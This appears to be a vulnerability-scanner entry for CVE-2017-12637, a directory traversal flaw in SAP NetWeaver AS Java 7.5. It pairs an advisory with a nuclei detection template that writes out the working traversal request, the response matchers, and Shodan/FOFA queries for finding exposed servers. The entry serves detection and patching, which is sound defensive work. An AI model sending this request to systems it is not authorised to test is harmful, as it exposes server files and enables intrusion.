SAP NetWeaver Application Server Java 7.5 - Local File Inclusion

Exploited in the wild. Listed by CISA on 2025-03-19; known to be used by ransomware.

highseverity

7.5CVSS score

95.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SAP NetWeaver Application Server Java 7.5 is susceptible to local file inclusion in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access, data leakage, and potential system compromise.

Fix

Apply the latest security patches and updates provided by SAP to fix the LFI vulnerability in SAP NetWeaver Application Server Java 7.5.

How to confirm it

Send: GET {{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/..
Positive when: contains "WEB-INF" and "META-INF" AND status 200

Run it with nuclei: nuclei -id CVE-2017-12637 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-12637

info:
  name: SAP NetWeaver Application Server Java 7.5 - Local File Inclusion
  author: apt-mirror
  severity: high
  description: SAP NetWeaver Application Server Java 7.5 is susceptible to local file inclusion in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access, data leakage, and potential system compromise.
  remediation: |
    Apply the latest security patches and updates provided by SAP to fix the LFI vulnerability in SAP NetWeaver Application Server Java 7.5.
  reference:
    - https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
    - https://web.archive.org/web/20170807202056/http://www.sh0w.top/index.php/archives/7/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12637
    - http://www.sh0w.top/index.php/archives/7/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-12637
    cwe-id: CWE-22
    epss-score: 0.95111
    epss-percentile: 0.99863
    cpe: cpe:2.3:a:sap:netweaver_application_server_java:7.50:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: netweaver_application_server_java
    shodan-query: http.favicon.hash:-266008933
    fofa-query: icon_hash=-266008933
  tags: cve2017,cve,sap,lfi,java,traversal,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "WEB-INF"
          - "META-INF"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from